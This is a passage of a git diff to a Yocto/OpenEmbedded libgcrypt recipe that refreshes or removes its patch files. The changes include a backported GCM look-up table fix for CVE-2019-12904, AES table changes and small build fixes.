-- 0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85,
-- 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed,
-- 0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511,
-- 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe,
-- 0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b,
-- 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05,
-- 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1,
-- 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142,
-- 0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf,
-- 0x4ccdcd81, 0x140c0c18, 0x35131326, 0x2fececc3,
-- 0xe15f5fbe, 0xa2979735, 0xcc444488, 0x3917172e,
-- 0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a,
-- 0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6,
-- 0xa06060c0, 0x98818119, 0xd14f4f9e, 0x7fdcdca3,
-- 0x66222244, 0x7e2a2a54, 0xab90903b, 0x8388880b,
-- 0xca46468c, 0x29eeeec7, 0xd3b8b86b, 0x3c141428,
-- 0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad,
-- 0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14,
-- 0xdb494992, 0x0a06060c, 0x6c242448, 0xe45c5cb8,
-- 0x5dc2c29f, 0x6ed3d3bd, 0xefacac43, 0xa66262c4,
-- 0xa8919139, 0xa4959531, 0x37e4e4d3, 0x8b7979f2,
-- 0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda,
-- 0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949,
-- 0xb46c6cd8, 0xfa5656ac, 0x07f4f4f3, 0x25eaeacf,
-- 0xaf6565ca, 0x8e7a7af4, 0xe9aeae47, 0x18080810,
-- 0xd5baba6f, 0x887878f0, 0x6f25254a, 0x722e2e5c,
-- 0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697,
-- 0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e,
-- 0xdd4b4b96, 0xdcbdbd61, 0x868b8b0d, 0x858a8a0f,
-- 0x907070e0, 0x423e3e7c, 0xc4b5b571, 0xaa6666cc,
-- 0xd8484890, 0x05030306, 0x01f6f6f7, 0x120e0e1c,
-- 0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969,
-- 0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27,
-- 0x38e1e1d9, 0x13f8f8eb, 0xb398982b, 0x33111122,
-- 0xbb6969d2, 0x70d9d9a9, 0x898e8e07, 0xa7949433,
-- 0xb69b9b2d, 0x221e1e3c, 0x92878715, 0x20e9e9c9,
-- 0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5,
-- 0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a,
-- 0xdabfbf65, 0x31e6e6d7, 0xc6424284, 0xb86868d0,
-- 0xc3414182, 0xb0999929, 0x772d2d5a, 0x110f0f1e,
-- 0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d, 0x3a16162c
-+ 0,
-+ { 0, },
-+ {
-+ 0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6,
-+ 0x0df2f2ff, 0xbd6b6bd6, 0xb16f6fde, 0x54c5c591,
-+ 0x50303060, 0x03010102, 0xa96767ce, 0x7d2b2b56,
-+ 0x19fefee7, 0x62d7d7b5, 0xe6abab4d, 0x9a7676ec,
-+ 0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa,
-+ 0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb,
-+ 0xecadad41, 0x67d4d4b3, 0xfda2a25f, 0xeaafaf45,
-+ 0xbf9c9c23, 0xf7a4a453, 0x967272e4, 0x5bc0c09b,
-+ 0xc2b7b775, 0x1cfdfde1, 0xae93933d, 0x6a26264c,
-+ 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83,
-+ 0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9,
-+ 0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a,
-+ 0x0c040408, 0x52c7c795, 0x65232346, 0x5ec3c39d,
-+ 0x28181830, 0xa1969637, 0x0f05050a, 0xb59a9a2f,
-+ 0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df,
-+ 0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea,
-+ 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34,
-+ 0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b,
-+ 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d,
-+ 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413,
-+ 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1,
-+ 0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6,
-+ 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972,
-+ 0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85,
-+ 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed,
-+ 0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511,
-+ 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe,
-+ 0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b,
-+ 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05,
-+ 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1,
-+ 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142,
-+ 0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf,
-+ 0x4ccdcd81, 0x140c0c18, 0x35131326, 0x2fececc3,
-+ 0xe15f5fbe, 0xa2979735, 0xcc444488, 0x3917172e,
-+ 0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a,
-+ 0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6,
-+ 0xa06060c0, 0x98818119, 0xd14f4f9e, 0x7fdcdca3,
-+ 0x66222244, 0x7e2a2a54, 0xab90903b, 0x8388880b,
-+ 0xca46468c, 0x29eeeec7, 0xd3b8b86b, 0x3c141428,
-+ 0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad,
-+ 0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14,
-+ 0xdb494992, 0x0a06060c, 0x6c242448, 0xe45c5cb8,
-+ 0x5dc2c29f, 0x6ed3d3bd, 0xefacac43, 0xa66262c4,
-+ 0xa8919139, 0xa4959531, 0x37e4e4d3, 0x8b7979f2,
-+ 0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda,
-+ 0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949,
-+ 0xb46c6cd8, 0xfa5656ac, 0x07f4f4f3, 0x25eaeacf,
-+ 0xaf6565ca, 0x8e7a7af4, 0xe9aeae47, 0x18080810,
-+ 0xd5baba6f, 0x887878f0, 0x6f25254a, 0x722e2e5c,
-+ 0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697,
-+ 0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e,
-+ 0xdd4b4b96, 0xdcbdbd61, 0x868b8b0d, 0x858a8a0f,
-+ 0x907070e0, 0x423e3e7c, 0xc4b5b571, 0xaa6666cc,
-+ 0xd8484890, 0x05030306, 0x01f6f6f7, 0x120e0e1c,
-+ 0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969,
-+ 0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27,
-+ 0x38e1e1d9, 0x13f8f8eb, 0xb398982b, 0x33111122,
-+ 0xbb6969d2, 0x70d9d9a9, 0x898e8e07, 0xa7949433,
-+ 0xb69b9b2d, 0x221e1e3c, 0x92878715, 0x20e9e9c9,
-+ 0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5,
-+ 0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a,
-+ 0xdabfbf65, 0x31e6e6d7, 0xc6424284, 0xb86868d0,
-+ 0xc3414182, 0xb0999929, 0x772d2d5a, 0x110f0f1e,
-+ 0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d, 0x3a16162c
-+ },
-+ 0
- };
-
--static const struct
-+#define encT enc_tables.T
-+
-+static struct
- {
-+ volatile u32 counter_head;
-+ u32 cacheline_align[64 / 4 - 1];
- u32 T[256];
- byte inv_sbox[256];
--} dec_tables =
-+ volatile u32 counter_tail;
-+} dec_tables ATTR_ALIGNED_64 =
- {
-+ 0,
-+ { 0, },
- {
- 0x50a7f451, 0x5365417e, 0xc3a4171a, 0x965e273a,
- 0xcb6bab3b, 0xf1459d1f, 0xab58faac, 0x9303e34b,
-@@ -194,7 +212,8 @@ static const struct
- 0xc8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61,
- 0x17,0x2b,0x04,0x7e,0xba,0x77,0xd6,0x26,
- 0xe1,0x69,0x14,0x63,0x55,0x21,0x0c,0x7d
-- }
-+ },
-+ 0
- };
-
- #define decT dec_tables.T
-diff --git a/cipher/rijndael.c b/cipher/rijndael.c
-index 8637195..d0edab2 100644
---- a/cipher/rijndael.c
-+++ b/cipher/rijndael.c
-@@ -227,11 +227,11 @@ static const char *selftest(void);
-
-
- /* Prefetching for encryption/decryption tables. */
--static void prefetch_table(const volatile byte *tab, size_t len)
-+static inline void prefetch_table(const volatile byte *tab, size_t len)
- {
- size_t i;
-
-- for (i = 0; i < len; i += 8 * 32)
-+ for (i = 0; len - i >= 8 * 32; i += 8 * 32)
- {
- (void)tab[i + 0 * 32];
- (void)tab[i + 1 * 32];
-@@ -242,17 +242,37 @@ static void prefetch_table(const volatile byte *tab, size_t len)
- (void)tab[i + 6 * 32];
- (void)tab[i + 7 * 32];
- }
-+ for (; i < len; i += 32)
-+ {
-+ (void)tab[i];
-+ }
-
- (void)tab[len - 1];
- }
-
- static void prefetch_enc(void)
- {
-- prefetch_table((const void *)encT, sizeof(encT));
-+ /* Modify counters to trigger copy-on-write and unsharing if physical pages
-+ * of look-up table are shared between processes. Modifying counters also
-+ * causes checksums for pages to change and hint same-page merging algorithm
-+ * that these pages are frequently changing. */
-+ enc_tables.counter_head++;
-+ enc_tables.counter_tail++;
-+
-+ /* Prefetch look-up tables to cache. */
-+ prefetch_table((const void *)&enc_tables, sizeof(enc_tables));
- }
-
- static void prefetch_dec(void)
- {
-+ /* Modify counters to trigger copy-on-write and unsharing if physical pages
-+ * of look-up table are shared between processes. Modifying counters also
-+ * causes checksums for pages to change and hint same-page merging algorithm
-+ * that these pages are frequently changing. */
-+ dec_tables.counter_head++;
-+ dec_tables.counter_tail++;
-+
-+ /* Prefetch look-up tables to cache. */
- prefetch_table((const void *)&dec_tables, sizeof(dec_tables));
- }
-
-@@ -737,7 +757,7 @@ do_encrypt (const RIJNDAEL_context *ctx,
- #ifdef USE_AMD64_ASM
- # ifdef HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS
- return _gcry_aes_amd64_encrypt_block(ctx->keyschenc, bx, ax, ctx->rounds,
-- encT);
-+ enc_tables.T);
- # else
- /* Call SystemV ABI function without storing non-volatile XMM registers,
- * as target function does not use vector instruction sets. */
-@@ -757,7 +777,8 @@ do_encrypt (const RIJNDAEL_context *ctx,
- return ret;
- # endif /* HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS */
- #elif defined(USE_ARM_ASM)
-- return _gcry_aes_arm_encrypt_block(ctx->keyschenc, bx, ax, ctx->rounds, encT);
-+ return _gcry_aes_arm_encrypt_block(ctx->keyschenc, bx, ax, ctx->rounds,
-+ enc_tables.T);
- #else
- return do_encrypt_fn (ctx, bx, ax);
- #endif /* !USE_ARM_ASM && !USE_AMD64_ASM*/
-@@ -1120,7 +1141,7 @@ do_decrypt (const RIJNDAEL_context *ctx, unsigned char *bx,
- #ifdef USE_AMD64_ASM
- # ifdef HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS
- return _gcry_aes_amd64_decrypt_block(ctx->keyschdec, bx, ax, ctx->rounds,
-- &dec_tables);
-+ dec_tables.T);
- # else
- /* Call SystemV ABI function without storing non-volatile XMM registers,
- * as target function does not use vector instruction sets. */
-@@ -1141,7 +1162,7 @@ do_decrypt (const RIJNDAEL_context *ctx, unsigned char *bx,
- # endif /* HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS */
- #elif defined(USE_ARM_ASM)
- return _gcry_aes_arm_decrypt_block(ctx->keyschdec, bx, ax, ctx->rounds,
-- &dec_tables);
-+ dec_tables.T);
- #else
- return do_decrypt_fn (ctx, bx, ax);
- #endif /*!USE_ARM_ASM && !USE_AMD64_ASM*/
---
-2.7.4
-
diff --git a/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch b/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch
index d7554f38af..f9c362431c 100644
--- a/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch
+++ b/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch
@@ -1,7 +1,7 @@
-From 97570ef271ea1fb7b5ca903eec88f68407b0ec76 Mon Sep 17 00:00:00 2001
+From 3c6c10eae0993c8ca60879494c6650f7b8f54ebe Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Wed, 16 Aug 2017 10:44:41 +0800
-Subject: [PATCH 2/4] libgcrypt: fix building error with '-O2' in sysroot path
+Subject: [PATCH] libgcrypt: fix building error with '-O2' in sysroot path
Upstream-Status: Pending
@@ -19,23 +19,21 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
Rebase to 1.8.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
cipher/Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/cipher/Makefile.am b/cipher/Makefile.am
-index 95c4510..bd52ec7 100644
+index d644005..1cf5072 100644
--- a/cipher/Makefile.am
+++ b/cipher/Makefile.am
-@@ -116,7 +116,7 @@ gost-s-box: gost-s-box.c
+@@ -147,7 +147,7 @@ gost-s-box: gost-s-box.c
if ENABLE_O_FLAG_MUNGING
--o_flag_munging = sed -e 's/-O\([2-9s][2-9s]*\)/-O1/' -e 's/-Ofast/-O1/g'
-+o_flag_munging = sed -e 's/ -O\([2-9s][2-9s]*\) / -O1 /' -e 's/ -Ofast / -O1 /g'
+-o_flag_munging = sed -e 's/-O\([2-9sg][2-9sg]*\)/-O1/' -e 's/-Ofast/-O1/g'
++o_flag_munging = sed -e 's/ -O\([2-9sg][2-9sg]*\) / -O1 /' -e 's/ -Ofast / -O1 /g'
else
o_flag_munging = cat
endif
---
-1.8.3.1
-
diff --git a/meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch b/meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch
deleted file mode 100644
index b580b7b13c..0000000000
--- a/meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch
+++ /dev/null
@@ -1,178 +0,0 @@
-From a4c561aab1014c3630bc88faf6f5246fee16b020 Mon Sep 17 00:00:00 2001
-From: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-Date: Fri, 31 May 2019 17:27:25 +0300
-Subject: [PATCH 3/3] GCM: move look-up table to .data section and unshare
- between processes
-
-* cipher/cipher-gcm.c (ATTR_ALIGNED_64): New.
-(gcmR): Move to 'gcm_table' structure.
-(gcm_table): New structure for look-up table with counters before and
-after.
-(gcmR): New macro.
-(prefetch_table): Handle input with length not multiple of 256.
-(do_prefetch_tables): Modify pre- and post-table counters to unshare
-look-up table pages between processes.
---
-
-GnuPG-bug-id: 4541
-Signed-off-by: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-
-Upstream-Status: Backport
-[https://github.com/gpg/libgcrypt/commit/a4c561aab1014c3630bc88faf6f5246fee16b020]
-
-CVE: CVE-2019-12904
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- cipher/cipher-gcm.c | 106 ++++++++++++++++++++++++++++++++++------------------
- 1 file changed, 70 insertions(+), 36 deletions(-)
-
-diff --git a/cipher/cipher-gcm.c b/cipher/cipher-gcm.c
-index 11f119a..194e2ec 100644
---- a/cipher/cipher-gcm.c
-+++ b/cipher/cipher-gcm.c
-@@ -30,6 +30,14 @@
- #include "./cipher-internal.h"
-
-
-+/* Helper macro to force alignment to 16 or 64 bytes. */
-+#ifdef HAVE_GCC_ATTRIBUTE_ALIGNED
-+# define ATTR_ALIGNED_64 __attribute__ ((aligned (64)))
-+#else
-+# define ATTR_ALIGNED_64
-+#endif
-+
-+
- #ifdef GCM_USE_INTEL_PCLMUL
- extern void _gcry_ghash_setup_intel_pclmul (gcry_cipher_hd_t c);
-
-@@ -83,40 +91,54 @@ ghash_armv7_neon (gcry_cipher_hd_t c, byte *result, const byte *buf,
-
-
- #ifdef GCM_USE_TABLES
--static const u16 gcmR[256] = {
-- 0x0000, 0x01c2, 0x0384, 0x0246, 0x0708, 0x06ca, 0x048c, 0x054e,
-- 0x0e10, 0x0fd2, 0x0d94, 0x0c56, 0x0918, 0x08da, 0x0a9c, 0x0b5e,
-- 0x1c20, 0x1de2, 0x1fa4, 0x1e66, 0x1b28, 0x1aea, 0x18ac, 0x196e,
-- 0x1230, 0x13f2, 0x11b4, 0x1076, 0x1538, 0x14fa, 0x16bc, 0x177e,
-- 0x3840, 0x3982, 0x3bc4, 0x3a06, 0x3f48, 0x3e8a, 0x3ccc, 0x3d0e,
-- 0x3650, 0x3792, 0x35d4, 0x3416, 0x3158, 0x309a, 0x32dc, 0x331e,
-- 0x2460, 0x25a2, 0x27e4, 0x2626, 0x2368, 0x22aa, 0x20ec, 0x212e,
-- 0x2a70, 0x2bb2, 0x29f4, 0x2836, 0x2d78, 0x2cba, 0x2efc, 0x2f3e,
-- 0x7080, 0x7142, 0x7304, 0x72c6, 0x7788, 0x764a, 0x740c, 0x75ce,
-- 0x7e90, 0x7f52, 0x7d14, 0x7cd6, 0x7998, 0x785a, 0x7a1c, 0x7bde,
-- 0x6ca0, 0x6d62, 0x6f24, 0x6ee6, 0x6ba8, 0x6a6a, 0x682c, 0x69ee,
-- 0x62b0, 0x6372, 0x6134, 0x60f6, 0x65b8, 0x647a, 0x663c, 0x67fe,
-- 0x48c0, 0x4902, 0x4b44, 0x4a86, 0x4fc8, 0x4e0a, 0x4c4c, 0x4d8e,
-- 0x46d0, 0x4712, 0x4554, 0x4496, 0x41d8, 0x401a, 0x425c, 0x439e,
-- 0x54e0, 0x5522, 0x5764, 0x56a6, 0x53e8, 0x522a, 0x506c, 0x51ae,
-- 0x5af0, 0x5b32, 0x5974, 0x58b6, 0x5df8, 0x5c3a, 0x5e7c, 0x5fbe,
-- 0xe100, 0xe0c2, 0xe284, 0xe346, 0xe608, 0xe7ca, 0xe58c, 0xe44e,
-- 0xef10, 0xeed2, 0xec94, 0xed56, 0xe818, 0xe9da, 0xeb9c, 0xea5e,
-- 0xfd20, 0xfce2, 0xfea4, 0xff66, 0xfa28, 0xfbea, 0xf9ac, 0xf86e,
-- 0xf330, 0xf2f2, 0xf0b4, 0xf176, 0xf438, 0xf5fa, 0xf7bc, 0xf67e,
-- 0xd940, 0xd882, 0xdac4, 0xdb06, 0xde48, 0xdf8a, 0xddcc, 0xdc0e,
-- 0xd750, 0xd692, 0xd4d4, 0xd516, 0xd058, 0xd19a, 0xd3dc, 0xd21e,
-- 0xc560, 0xc4a2, 0xc6e4, 0xc726, 0xc268, 0xc3aa, 0xc1ec, 0xc02e,
-- 0xcb70, 0xcab2, 0xc8f4, 0xc936, 0xcc78, 0xcdba, 0xcffc, 0xce3e,
-- 0x9180, 0x9042, 0x9204, 0x93c6, 0x9688, 0x974a, 0x950c, 0x94ce,
-- 0x9f90, 0x9e52, 0x9c14, 0x9dd6, 0x9898, 0x995a, 0x9b1c, 0x9ade,
-- 0x8da0, 0x8c62, 0x8e24, 0x8fe6, 0x8aa8, 0x8b6a, 0x892c, 0x88ee,
-- 0x83b0, 0x8272, 0x8034, 0x81f6, 0x84b8, 0x857a, 0x873c, 0x86fe,
-- 0xa9c0, 0xa802, 0xaa44, 0xab86, 0xaec8, 0xaf0a, 0xad4c, 0xac8e,
-- 0xa7d0, 0xa612, 0xa454, 0xa596, 0xa0d8, 0xa11a, 0xa35c, 0xa29e,
-- 0xb5e0, 0xb422, 0xb664, 0xb7a6, 0xb2e8, 0xb32a, 0xb16c, 0xb0ae,
-- 0xbbf0, 0xba32, 0xb874, 0xb9b6, 0xbcf8, 0xbd3a, 0xbf7c, 0xbebe,
--};
-+static struct
-+{
-+ volatile u32 counter_head;
-+ u32 cacheline_align[64 / 4 - 1];
-+ u16 R[256];
-+ volatile u32 counter_tail;
-+} gcm_table ATTR_ALIGNED_64 =
-+ {
-+ 0,
-+ { 0, },
-+ {
-+ 0x0000, 0x01c2, 0x0384, 0x0246, 0x0708, 0x06ca, 0x048c, 0x054e,
-+ 0x0e10, 0x0fd2, 0x0d94, 0x0c56, 0x0918, 0x08da, 0x0a9c, 0x0b5e,
-+ 0x1c20, 0x1de2, 0x1fa4, 0x1e66, 0x1b28, 0x1aea, 0x18ac, 0x196e,
-+ 0x1230, 0x13f2, 0x11b4, 0x1076, 0x1538, 0x14fa, 0x16bc, 0x177e,
-+ 0x3840, 0x3982, 0x3bc4, 0x3a06, 0x3f48, 0x3e8a, 0x3ccc, 0x3d0e,
-+ 0x3650, 0x3792, 0x35d4, 0x3416, 0x3158, 0x309a, 0x32dc, 0x331e,
-+ 0x2460, 0x25a2, 0x27e4, 0x2626, 0x2368, 0x22aa, 0x20ec, 0x212e,
-+ 0x2a70, 0x2bb2, 0x29f4, 0x2836, 0x2d78, 0x2cba, 0x2efc, 0x2f3e,
-+ 0x7080, 0x7142, 0x7304, 0x72c6, 0x7788, 0x764a, 0x740c, 0x75ce,
-+ 0x7e90, 0x7f52, 0x7d14, 0x7cd6, 0x7998, 0x785a, 0x7a1c, 0x7bde,
-+ 0x6ca0, 0x6d62, 0x6f24, 0x6ee6, 0x6ba8, 0x6a6a, 0x682c, 0x69ee,
-+ 0x62b0, 0x6372, 0x6134, 0x60f6, 0x65b8, 0x647a, 0x663c, 0x67fe,
-+ 0x48c0, 0x4902, 0x4b44, 0x4a86, 0x4fc8, 0x4e0a, 0x4c4c, 0x4d8e,
-+ 0x46d0, 0x4712, 0x4554, 0x4496, 0x41d8, 0x401a, 0x425c, 0x439e,
-+ 0x54e0, 0x5522, 0x5764, 0x56a6, 0x53e8, 0x522a, 0x506c, 0x51ae,
-+ 0x5af0, 0x5b32, 0x5974, 0x58b6, 0x5df8, 0x5c3a, 0x5e7c, 0x5fbe,
-+ 0xe100, 0xe0c2, 0xe284, 0xe346, 0xe608, 0xe7ca, 0xe58c, 0xe44e,
-+ 0xef10, 0xeed2, 0xec94, 0xed56, 0xe818, 0xe9da, 0xeb9c, 0xea5e,
-+ 0xfd20, 0xfce2, 0xfea4, 0xff66, 0xfa28, 0xfbea, 0xf9ac, 0xf86e,
-+ 0xf330, 0xf2f2, 0xf0b4, 0xf176, 0xf438, 0xf5fa, 0xf7bc, 0xf67e,
-+ 0xd940, 0xd882, 0xdac4, 0xdb06, 0xde48, 0xdf8a, 0xddcc, 0xdc0e,
-+ 0xd750, 0xd692, 0xd4d4, 0xd516, 0xd058, 0xd19a, 0xd3dc, 0xd21e,
-+ 0xc560, 0xc4a2, 0xc6e4, 0xc726, 0xc268, 0xc3aa, 0xc1ec, 0xc02e,
-+ 0xcb70, 0xcab2, 0xc8f4, 0xc936, 0xcc78, 0xcdba, 0xcffc, 0xce3e,
-+ 0x9180, 0x9042, 0x9204, 0x93c6, 0x9688, 0x974a, 0x950c, 0x94ce,
-+ 0x9f90, 0x9e52, 0x9c14, 0x9dd6, 0x9898, 0x995a, 0x9b1c, 0x9ade,
-+ 0x8da0, 0x8c62, 0x8e24, 0x8fe6, 0x8aa8, 0x8b6a, 0x892c, 0x88ee,
-+ 0x83b0, 0x8272, 0x8034, 0x81f6, 0x84b8, 0x857a, 0x873c, 0x86fe,
-+ 0xa9c0, 0xa802, 0xaa44, 0xab86, 0xaec8, 0xaf0a, 0xad4c, 0xac8e,
-+ 0xa7d0, 0xa612, 0xa454, 0xa596, 0xa0d8, 0xa11a, 0xa35c, 0xa29e,
-+ 0xb5e0, 0xb422, 0xb664, 0xb7a6, 0xb2e8, 0xb32a, 0xb16c, 0xb0ae,
-+ 0xbbf0, 0xba32, 0xb874, 0xb9b6, 0xbcf8, 0xbd3a, 0xbf7c, 0xbebe,
-+ },
-+ 0
-+ };
-+
-+#define gcmR gcm_table.R
-
- static inline
- void prefetch_table(const void *tab, size_t len)
-@@ -124,7 +146,7 @@ void prefetch_table(const void *tab, size_t len)
- const volatile byte *vtab = tab;
- size_t i;
-
-- for (i = 0; i < len; i += 8 * 32)
-+ for (i = 0; len - i >= 8 * 32; i += 8 * 32)
- {
- (void)vtab[i + 0 * 32];
- (void)vtab[i + 1 * 32];
-@@ -135,6 +157,10 @@ void prefetch_table(const void *tab, size_t len)
- (void)vtab[i + 6 * 32];
- (void)vtab[i + 7 * 32];
- }
-+ for (; i < len; i += 32)
-+ {
-+ (void)vtab[i];
-+ }
-
- (void)vtab[len - 1];
- }
-@@ -142,8 +168,16 @@ void prefetch_table(const void *tab, size_t len)
- static inline void
- do_prefetch_tables (const void *gcmM, size_t gcmM_size)
- {
-+ /* Modify counters to trigger copy-on-write and unsharing if physical pages
-+ * of look-up table are shared between processes. Modifying counters also
-+ * causes checksums for pages to change and hint same-page merging algorithm
-+ * that these pages are frequently changing. */
-+ gcm_table.counter_head++;
-+ gcm_table.counter_tail++;
-+
-+ /* Prefetch look-up tables to cache. */
- prefetch_table(gcmM, gcmM_size);
-- prefetch_table(gcmR, sizeof(gcmR));
-+ prefetch_table(&gcm_table, sizeof(gcm_table));
- }
-
- #ifdef GCM_TABLES_USE_U64
---
-2.7.4
-
diff --git a/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch b/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch
index 8622df3ea8..5bf0c7f8a3 100644
--- a/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch
+++ b/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch
@@ -1,7 +1,7 @@
-From e20dbdb0b8f0af840ef90b299c4e2277c52ddf87 Mon Sep 17 00:00:00 2001
+From cb06d218ee36e303a64f27c690f30040d5d87960 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Sun, 12 Jun 2016 04:44:29 -0400
-Subject: [PATCH 4/4] tests/Makefile.am: fix undefined reference to
+Subject: [PATCH] tests/Makefile.am: fix undefined reference to
`pthread_create'
Add missing '-lpthread' to CFLAGS
@@ -9,20 +9,21 @@ Add missing '-lpthread' to CFLAGS
Upstream-Status: Pending
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
tests/Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 1744ea7..04cf425 100644
+index ab201f0..1cf82d0 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -64,4 +64,4 @@ EXTRA_DIST = README rsa-16k.key cavs_tests.sh cavs_driver.pl \
-
- LDADD = $(standard_ldadd) $(GPG_ERROR_LIBS)
- t_lock_LDADD = $(standard_ldadd) $(GPG_ERROR_MT_LIBS)
+@@ -75,7 +75,7 @@ t_mpi_bit_LDADD = $(standard_ldadd) @LDADD_FOR_TESTS_KLUDGE@
+ t_secmem_LDADD = $(standard_ldadd) @LDADD_FOR_TESTS_KLUDGE@
+ testapi_LDADD = $(standard_ldadd) @LDADD_FOR_TESTS_KLUDGE@
+ t_lock_LDADD = $(standard_ldadd) $(GPG_ERROR_MT_LIBS) @LDADD_FOR_TESTS_KLUDGE@
-t_lock_CFLAGS = $(GPG_ERROR_MT_CFLAGS)
+t_lock_CFLAGS = $(GPG_ERROR_MT_CFLAGS) -lpthread
---
-1.8.3.1
-
+ testdrv_LDADD = $(LDADD_FOR_TESTS_KLUDGE)
+
+ # Build a version of the test driver for the build platform.
diff --git a/meta/recipes-support/libgcrypt/files/determinism.patch b/meta/recipes-support/libgcrypt/files/determinism.patch
deleted file mode 100644
index ad0b8c7950..0000000000
--- a/meta/recipes-support/libgcrypt/files/determinism.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-gnutls detects our outer git trees and injects that revision into its objects.
-That isn't deterministic so stop it. Also ensure we're not marked as a development
-build as its git detection is faulty.
-
-RP 2020/2/6
-
-Upstream-Status: Pending
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-
-Index: libgcrypt-1.8.5/configure.ac
-===================================================================
---- libgcrypt-1.8.5.orig/configure.ac
